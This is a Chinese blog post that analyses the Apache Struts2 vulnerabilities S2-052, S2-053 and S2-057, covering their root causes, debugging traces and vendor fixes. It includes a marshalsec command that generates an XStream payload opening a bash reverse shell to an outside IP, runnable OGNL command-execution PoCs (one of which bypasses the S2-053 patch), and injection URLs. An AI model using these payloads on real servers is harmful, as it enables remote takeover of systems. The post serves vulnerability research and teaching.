[旧文系列] Struts2历史高危漏洞系列-part5：S2-052/S2-053/S2-057

最新推荐文章于 2023-04-02 00:00:25 发布
最新推荐文章于 2023-04-02 00:00:25 发布
阅读量756 收藏 2
点赞数
文章标签： struts java web安全 安全漏洞
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/mole_exp/article/details/122559021
版权

文章目录

关于<旧文系列>

<旧文系列>系列是笔者将以前发到其他地方的技术文章，挑选其中一些值得保留的，迁移到当前博客来。

文章首发于奇安信攻防社区:
https://forum.butian.net/share/601
https://forum.butian.net/share/602
https://forum.butian.net/share/603
时间：2021-08-31

前言

尽管现在struts2用的越来越少了，但对于漏洞研究人员来说，感兴趣的是漏洞的成因和漏洞的修复方式，因此还是有很大的学习价值的。毕竟Struts2作为一个很经典的MVC框架，无论对涉及到的框架知识，还是对过去多年出现的高危漏洞的原理进行学习，都会对之后学习和审计其他同类框架很有帮助。

传送门：
[旧文系列] Struts2历史高危漏洞系列-part1：S2-001/S2-003/S2-005
[旧文系列] Struts2历史高危漏洞系列-part2：S2-007/S2-008/S2-009
[旧文系列] Struts2历史高危漏洞系列-part3：S2-012/S2-013/S2-015
[旧文系列] Struts2历史高危漏洞系列-part4：S2-016/S2-032/S2-045

S2-052

官方漏洞公告：

https://cwiki.apache.org/confluence/display/WW/S2-052

影响版本：Struts 2.1.6 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12

漏洞复现与分析

下面使用Struts2 2.3.33版本自带的示例应用struts2-rest-showcase进行调试分析。

从漏洞公告可获悉，该漏洞与OGNL表达式无关，而是由于REST plugin插件在处理xml类型的请求数据时，没有进行任何类型的过滤，故可构造恶意xml数据使XStream进行不安全的反序列化，从而达到RCE。

struts2-rest-plugin是使Struts2实现REST API的插件。它通过Content-Type或URI后缀名来识别不同的请求数据类型，然后根据请求数据类型用不同的实现类去处理。关键代码如下：
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
跟进XStreamHandler#toObject()方法，发现调用了XStream#fromXML()方法对请求数据进行反序列化。
在这里插入图片描述
struts-rest-plugin-2.3.33依赖的XStream的版本是1.4.8。故可以使用marshalsec生成ImageIO利用链的payload进行RCE的漏洞利用。

可回显PoC

对于xstream的反序列化命令执行回显，本人暂时不知道如何实现。

下面使用marshalsec工具生成反弹shell的exploit：

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream ImageIO "/bin/bash" "-c" "bash -i >& /dev/tcp/192.168.166.233/443 0>&1"

在这里插入图片描述
在这里插入图片描述

漏洞修复

在struts2-rest-plugin-2.3.34版本中，将XStream升级到了1.4.10版本，且按照XStream官方的推荐(hxxps://x-stream.github.io/security.html)，使用了白名单的方式指定可以反序列化的类型。

S2-053

官方漏洞公告：

https://cwiki.apache.org/confluence/display/WW/S2-053

影响版本：Struts 2.0.0 - Struts 2.3.33, Struts 2.5 - Struts 2.5.10.1

漏洞复现与分析

从漏洞公告可获悉：在FreeMarker模板中使用struts2标签库时，如果使用了表达式${}去引用可控输入时，便会导致RCE攻击。

下面使用docker镜像medicean/vulapps:s_struts2_s2-053进行调试分析。该环境使用的是Struts2 2.5.10.1版本。

在该环境中，Index.action的返回页面使用FreeMarker模板去渲染。在freemarker模板文件index.ftl里使用了struts2标签s:url，即@s.url，且该标签的value属性引用了外界可控输入的name参数的值。代码如下：
在这里插入图片描述
在这里插入图片描述
简单执行OGNL表达式如下：
在这里插入图片描述
由于漏洞触发是在Struts2处理返回页面，即Result对象阶段。因此在DefaultInvocation开始调度Result对象处，以及OgnlValueStack#findValue()方法处下断点，便可知道漏洞触发执行的调用栈。

由于Index.action的result标签的type属性为freemarker，所以DefaultInvocation调度的Result对象其实是FreemarkerResult，它会根据模板文件创建对应的模板对象Template来进行一系列的解析渲染操作。在这个过程中，它先是解析表达式${name}获取name参数的值，然后对值进行OGNL表达式的计算。关键代码如下：
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

可回显PoC

拿S2-045的exploit稍微修改一下便可：

%{
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
		(
		(#container=#context['com.opensymphony.xwork2.ActionContext.container']).
		(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
		(#ognlUtil.getExcludedPackageNames().clear()).
		(#ognlUtil.getExcludedClasses().clear()).
		(#context.setMemberAccess(#dm)))).
(#cmd='id').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).
(#process=#p.start()).
(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))
}

在这里插入图片描述

漏洞修复

通过版本代码比对发现，Struts2 2.5.12版本做了很多改动。但通过调试发现，针对这个漏洞，最关键的修复代码在于将OgnlUtil类里的黑名单集合excludedPackageNames和excludedClasses都由原来的HashSet改为不可修改的集合类Collections$UnmodifiableSet来替代，从而使得S2-045的exploit失效了。如下图所示：
在这里插入图片描述
但！很遗憾，这个修复可以被轻易绕过，因为修复后的代码中，OgnlUtil类里的excludedPackageNames和excludedClasses属性，只是它引用的集合对象是一个不可修改的对象，故可通过它们的setter方法，将其引用到一个空集合对象即可。

这里直接放结论：将在上面的可回显PoC稍加修改，然后连续执行两次，便可在修复后的Struts2 2.5.12版本getshell！至于为什么需要执行两次才行，这个留到分析S2-057漏洞时再好好说道。

修改后的PoC如下：

%{
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
		(
		(#container=#context['com.opensymphony.xwork2.ActionContext.container']).
		(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
		(#ognlUtil.setExcludedPackageNames('')).
		(#ognlUtil.setExcludedClasses('')).
		(#context.setMemberAccess(#dm)))).
(#cmd='id').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).
(#process=#p.start()).
(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))
}

在这里插入图片描述

S2-057

官方漏洞公告：

https://cwiki.apache.org/confluence/display/WW/S2-057

影响版本：Struts 2.0.4 - Struts 2.3.34, Struts 2.5 - Struts 2.5.16

漏洞复现与分析

从漏洞公告可获悉，该漏洞有两个前提条件，如下：

  • alwaysSelectFullNamespace为true
  • struts.xml文件中，没有对action对象的上层(即package标签)设置namespace属性，或者namespace属性使用了通配符。

满足这两个前提条件的情况下，存在4个攻击向量：

  • ServletActionRedirectResult：对应的result type为redirectAction；
  • ActionChainResult：对应的result type为：ActionChainResult;
  • PostbackResult：对应的result type为：postback;
  • ServletUrlRenderer：对应<s:url>标签的处理。

这里仅以ServletActionRedirectResult为例进行调试分析，其他3个分析起来差不多。

下面使用docker镜像medicean/vulapps:s_struts2_s2-057进行调试分析。该环境使用的是Struts2 2.5.16版本。

如下图，应用开启了alwaysSelectFullNamespace特性，action对象actionChain1的result对象的类型设置为redirectAction，且package没有设置namespace属性。
在这里插入图片描述
在这里插入图片描述
简单表达式执行PoC如下：

hxxp://host:port/S2-057/${123+456}/actionChain1.action

访问后，跳转的Url如下：

hxxp://host:port/S2-057/579/register2.action

当alwaysSelectFullNamespace特性开启时，namespace的值会从uri中去获取，如下图：
在这里插入图片描述
后面在处理Result对象时，在ServletActionRedirectResult#execute()方法中，获取前面得到的namespace的值，即表达式${123+456}，然后与result指定的action名进行字符串拼接，拼接后的字符串赋值给ServletActionRedirectResult#location属性，如下图：
在这里插入图片描述
继续跟进代码，在StrutsResultSupport#conditionalParse()方法中看到熟悉的TextParseUtil#translateVariables()方法调用。没错，后面的执行流程就和S2-012是一样的了，这里不再详述。
在这里插入图片描述
下面重点说一下命令执行PoC的构造。

可回显PoC

因为在Struts2 2.5.16(依赖的ognl版本为3.1.15)中，OgnlContext的get()方法已经不支持传入OgnlContext.CONTEXT_CONTEXT_KEY常量，故无法像以前一样在OGNL表达式中使用#context直接访问上下文对象context。

因此，我们需要找另外的方式先去获取context上下文对象，参考文章[3]中提出通过上下文对象内部集合里的attr对象来获取context上下文对象。因为attr是可以使用#attr去访问的，它是一个AttributeMap对象。如下图：
在这里插入图片描述
从AttributeMap#get()方法可以看到，其实它会去上下文对象context内部存放的request、session、application对象去查值。其中，通过request.get("struts.valueStack")便可获取值栈OgnlValueStack，而OgnlValueStack对象中又存在指向上下文对象的属性。
在这里插入图片描述
因此，便可通过#request['struts.valueStack'].context或attr['struts.valueStack'].context来获取上下文对象。

接着，再配合前面S2-053的修复绕过，即利用setter方法将指向黑名单集合的属性值excludedClass和excludedPackageNames指向一个空的集合。

综上可得，命令执行可回显的PoC如下：

${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#ct=#request['struts.valueStack'].context).
(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).
(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ou.setExcludedPackageNames('')).(#ou.setExcludedClasses('')).
(#ct.setMemberAccess(#dm)).
(#a=@java.lang.Runtime@getRuntime().exec('id')).
(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))
}

但为什么执行第一次的时候无效呢？

是因为PoC里改的是OgnlUtil对象里的excludedClass和excludedPackageNames，而实际进行黑名单校验时，是在安全管理器SecurityMemberAccess中进行的，使用的也是SecurityMemberAccess中的excludedClass和excludedPackageNames属性。如下图：
在这里插入图片描述
因为第一次请求，我们已经将OgnlUtil的excludedClass和excludedPackageNames给指向了空的集合。所以第二次请求，SecurityMemberAccess从OgnlUtil获取到的黑名单也因此变成了空的集合。从而实现了绕过。
在这里插入图片描述

漏洞修复

在Struts2 2.5.17版本中，DefaultActionMapping在获取namespace时增加了正则匹配字符白名单的校验。
在这里插入图片描述

Reference

[1] hxxp://vulapps.evalbug.com/tags/#struts2
[2] hxxps://github.com/vulhub/vulhub/tree/master/struts2
[3] hxxps://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776/
[4] hxxps://securitylab.github.com/research/apache-struts-CVE-2018-11776/
[5] 《Struts2技术内幕：深入解析Struts2架构设计与实现原理》- 作者:陆舟
[6] hxxps://i.blackhat.com/USA-20/Wednesday/us-20-Munoz-Room-For-Escape-Scribbling-Outside-The-Lines-Of-Template-Security-wp.pdf

xc8qanAFenlka@x1
关注
  • 0
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
struts扫描及利用工具（2018-11新版）
11-30
# struts-scan 快速检测struts命令执行漏洞，可批量。 # 运行环境 MAC/Linux下的Python2 # 支持对以下版本的检测 ST2-005 ST2-008 ST2-009 ST2-013 ST2-016 ST2-019 ST2-020 ST2-devmode ST2-032 ST2-033 ST2-037 ST2-045 ST2-046 ST2-048 ST2-052 ST2-053 ST2-057 # 使用 ![image](./images/poc.png) ![image](./images/exp.png) # 增加 [+]针对各版本的shell命令交互 [+]struts2-052检测(利用后面会加上) [+]struts2-053检测+利用(需要提供参数) [+]检测过程中输出超时原因 [+]兼容HTTP/1.0，修复了struts-045检测不准确的问题 [+]struts2-046检测+利用 [+]修改struts2-048的payload [+]针对某些超时的情况,注释掉 httplib.HTTPConnection._http_vsn = 10 和httplib.HTTPConnection._http_vsn_str = 'HTTP/1.0'这两行再测试一遍,因为有的可能不支持HTTP/1.0的协议。 [+]增加linux和win的可执行文件,windows需要.NET环境。 [+]增加写入文件功能,针对有漏洞的struts版本号会自动写入success.txt文件。 [+]增加struts2-057检测和利用,生产环境还没有找到可利用的例子，实属鸡肋的洞,参考https://github.com/Ivan1ee/struts2-057-exp。 # 特别说明 此工具仅限于漏洞验证，如若使用者引起相关的法律责任请自负，开发者不承担连带责任。
S2-052远程代码执行漏洞和S2-045远程代码执行漏洞复现
weixin_48739941的博客
04-21 1276
1.复现S2-052远程代码执行漏洞 (1) cd vulhub/struts2/s2-052 切换目录。 (2) docker-compose up -d 启动 (3) http://192.168.80.157:8080/orders.xhtml (4)burpsuite抓包。 (5)send to repeater，修改数据包： POST /orders/3/edit HTTP/1.1 Host: 192.168.80.157:8080 Accept: */* A
复现S2远程代码执行漏洞
m0_71326960的博客
04-02 537
2.进入s2-052，执行docker-compose up -d命令（此处注意端口被占用会出现下载镜像报错，只需要把正在运行的镜像停止进程）6.说明利用成功，会在docker容器内创建文件/tmp/success，执行docker exec -it 容器id bash。点击send发送数据，出现状态码为200，和vulhub出计算结果后，即漏洞复现成功。3.随便上传一个文件，使用burpsuite进行抓包。1.使用docker搭建漏洞环境，进入目标文件夹。1.使用docker搭建漏洞环境。
struts2-052漏洞学习
qq_44312507的博客
12-17 708
struts2-052漏洞学习文档 一、了解漏洞 1.struts2是什么? Struts2是一个基于MVC设计模式的Web应用框架，它本质上相当于一个servlet，在MVC设计模式中，Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品，是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。其...
【web攻防】安鸾靶场开发框架Struct2远程命令执行 Struct2-S2-005/S2-053远程代码执行漏洞 靶场实战+学习记录
AAAAAAAAAAAA66的博客
02-15 3899
struct2 远程命令执行01 随便输入一个 k8工具连接 上传冰蝎自带马 冰蝎连接 Struct2远程命令执行02 漏洞地址 http://106.15.50.112:8027/hello.action 漏洞POC %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymp...
修复struts2的安全漏洞(编号S2-045、S2-046)
07-18
给还用struts2框架的系统提供一个完美的解决方案，里面的struts2版本jar都统一好，大家在用的时候直接将对应的jar先删除，然后用这里面的jar包。必免jar冲突了
struts2反序列化漏洞,存在s2-005、s2-016、s2-016_3、s2-017
08-28
struts2.0反序列化漏洞,存在s2-005、s2-016、s2-016_3、s2-017等漏洞解决方案，已升级可用
struts2漏洞s2-045，不升级jar版本的修补方法，已验证.docx
07-04
Struts2 漏洞 S2-045 修补方法 Struts2 是一个基于 Java 的 Web 应用程序框架，广泛应用于企业级应用程序中。然而，Struts2 中存在着一些漏洞，例如 S2-045 漏洞，该漏洞可能会导致严重的安全问题。今天，我们将...
structs2最新远程执行漏洞S2-057、反序列化漏洞等修复方案
08-30
Apache Struts2 官方发布了最新的安全公告，披露了一个远程命令执行漏洞（漏洞编号：CVE-2018-11776，官方编号：S2-057），攻击者可利用漏洞实施远程命令执行攻击。特给出struct2.0-2.3.35的修复方案
struts-2.3.24-apps.zip包测试Struts2 S2-048高危漏洞
09-08
2017年7月7日，Apache Struts发布最新的安全公告，Apache Struts2-strus1-plugin插件存在远程代码执行的高危漏洞，漏洞编号为CVE-2017-9791(S2-048),主要受影响的Struts版本为：2.3.x。 攻击者可以构造恶意的字段值...
struts漏洞总结
Fiverya的博客
01-17 2677
struts2漏洞，从S2-001到 S2-061，嘿嘿。
vulhub漏洞复现系列之struts2(s2-048、s2-052、S2-053、s2-057、s2-059)
weixin_43071873的博客
12-11 1228
本来想把struts2剩下的靶场全部打完然后写博客分享给大家，但是vulhub搭建实在是太慢了！！！无奈只能先把复现好的这几个分享出来了。 ** （CVE-2017-9791）s2-048 ** 一、漏洞简介 当实用了Struts2 Struts1 插件时，可能导致不受信任的输入传入到ActionMessage类种导致命令执行 二、影响范围 2.3.x 三、漏洞复现： 进入靶场 第一个框填入${4*4},其余两个框随意填 可以看到计算结果回显出来了 Poc： %{(#dm=@ognl.OgnlCon
S2-052 远程代码执行漏洞
EC_Carrot的博客
08-12 516
漏洞简介 影响版本: Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12 详细请看：https://github.com/vulhub/vulhub/blob/master/struts2/s2-052/README.zh-cn.md 漏洞复现 访问http://your-ip:8080/orders.xhtml即可看到showcase页面，由于rest-plugin会根据URI扩展名或Content-Type来判断解析方法，所以我们只需要修改o
Struts2 S2-052漏洞分析
热门推荐
Exploit的小站~
05-10 1万+
0x00 调试环境搭建 使用官方的rest-sample即可，下载2.5.12版本的源码https://github.com/apache/struts/archive/STRUTS_2_5_12.zip，然后将apps下面的rest-showcase源码脱下来。 Eclipse中新建一个maven工程，web.xml，pom.xml和struts.xml如下： pom.xml &...
Strtus2漏洞 - Struts2-052 Struts2-057 Struts2-059
HAKUNAMATATATTA的博客
12-29 727
S2-052 S2-057 S2-059漏洞复现过程
【S2-052】Struts2远程命令执行漏洞（CVE-2017-9805）
Unitue_逆流
10-13 5904
**操作机：**Windows 7**目标IP：**172.16.11.2:8080实验工具： Burp Suite：是用于攻击web 应用程序的集成平台。它包含了许多工具，并为这些工具设计了许多接口，以促进加快攻击应用程序的过程。所有的工具都共享一个能处理并显示HTTP 消息，持久性，认证，代理，日志，警报的一个强大的可扩展的框架，本次试验主要用到它的抓包改包功能。 Metasploit:一款
Struts S2-052 漏洞复现
时光凉春衫薄的博客
07-23 1593
最近研究了一下docker 发现这个东西真的是快 漏洞环境许多地方都有现成的省的自己去搭建环境了。可以说真的是便利啊。 这两天又在研究struts2 下了环境做个试验玩玩 通过 docker pull medicean/vulapps:s_struts2_s2-052 下载这个漏洞的环境 查看本地的镜像 将这个镜像运行起来 我将docker的业务端口映射到本机的80端口上 ...
Struts2最全面的远程命令执行漏洞梳理
LuoOpening的博客
03-29 805
OGNL的全称是对象图导航语言（ Object-Graph Navigation Language），它是一种用于获取和设置 Java对象属性的开源表达式语言，以及其他附加功能，是Struts2的默认表达式语言。使用这种表达式语言，可以利用表达式语法树规则，存储Java对象的任意属性，调用Java对象的方法，同时能够自动实现期望的类型转换。OGNL最初是作为一种使用属性名称在UI组件和控制器之间建立关联的方法。
rmi远程代码执行漏洞_Apache Struts2052远程代码执行漏洞复现
weixin_39626089的博客
12-28 95
网安引领时代，弥天点亮未来0x00漏洞简述2017年9月5日，Apache Struts发布最新的安全公告，Apache Struts 2.5.x的REST插件存在远程代码执行的高危漏洞，漏洞编号为CVE-2017-9805(S2-052)。漏洞的成因是由于使用XStreamHandler反序列化XStream实例的时候没有任何类型过滤导致远程代码执行。0x01影响版本Apache...
apache struts2框架命令执行漏洞(s2-045、s2-046)
最新发布
01-11
Apache Struts2框架是一种流行的开源Web应用程序开发框架，但曾经发生过多个命令执行漏洞，其中包括s2-045和s2-046漏洞。 s2-045漏洞源于在处理远程表达式语言（OGNL）时存在安全漏洞，攻击者可以利用构造特定的...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值